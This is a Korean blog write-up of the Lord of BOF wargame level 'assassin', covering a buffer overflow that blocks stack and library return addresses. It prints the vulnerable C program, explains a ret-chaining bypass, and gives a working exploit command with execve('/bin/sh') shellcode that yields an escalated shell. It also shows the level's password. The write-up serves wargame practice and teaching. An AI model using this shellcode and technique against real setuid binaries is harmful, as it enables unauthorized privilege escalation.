본문 바로가기

워게임/lord of bof

level 14 -> 15


[giant@localhost giant]$ cat assassin.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - assassin

        - no stack, no RTL

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer+sfp hunter

        memset(buffer, 0, 44);

}


이번에는 0xbf~로 시작하는 스택 영역이나 0x40~으로 시작하는 라이브러리 영역을 RET로 사용할 수 없는 문제네요


즉 RTL도 안되고 스택을 이용한 RET는 안된다..이말이군요


그런데 쉘 코드를 올릴 수는 있나봅니다. 환경 변수를 argv[2]로 쓴다던가.. 버퍼에 쉘코드를 쓴 후에 argv 영역에서 읽는다던가..


아무튼 이 방법은 leave; ret; ret;로 풀 수 있습니다.. 의외로 빨리풀린 문제네요.


memset을 하고 나면 leave; ret;를 수행합니다. 다들 아시겠지만 leave;를 수행하고나면 esp가 ret를 가리키게 되겠죠..


ret를 하게되면 pop eip를 통해 ret의 주소가 eip에 박히게되고 해당 주소로 점프합니다.


그런데 이 ret의 주소를 ret 명령의 주소로 바꾸게되면 어떻게 될까요?


ret; ret; 이렇게 두번의 ret 명령이 실행되므로 


pop eip;

jmp eip;

pop eip;

jmp eip;


다음과 같은 명령을 실행하겠죠?


여기서 두번째 pop eip 과정에서 ret+4byte의 값이 pop됩니다. 즉 저희가 조작할 수 있는 값이죠..


이 값을 쉘코드가 포함된 argv[1]의 주소 혹은, 환경변수의 주소로 입력시켜주면 될 것 같습니다.



[giant@localhost giant]$ ./assassin `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80", "\x90"x20, "\x65\x85\x04\x08", "\x14\xfc\xff\xbf"'`

1픐h//shh/bin??S??

                    것€????????????????????e? ?

bash$ id

uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)

bash$ my-pass

euid = 515

pushing me away

bash$ 


성공!



'워게임 > lord of bof' 카테고리의 다른 글

level 16 -> 17  (0) 2015.10.23
level 15 -> 16  (0) 2015.10.23
level 13 -> 14  (0) 2015.10.23
level 12 -> 13  (0) 2015.10.23
level 11 -> 12  (0) 2015.10.23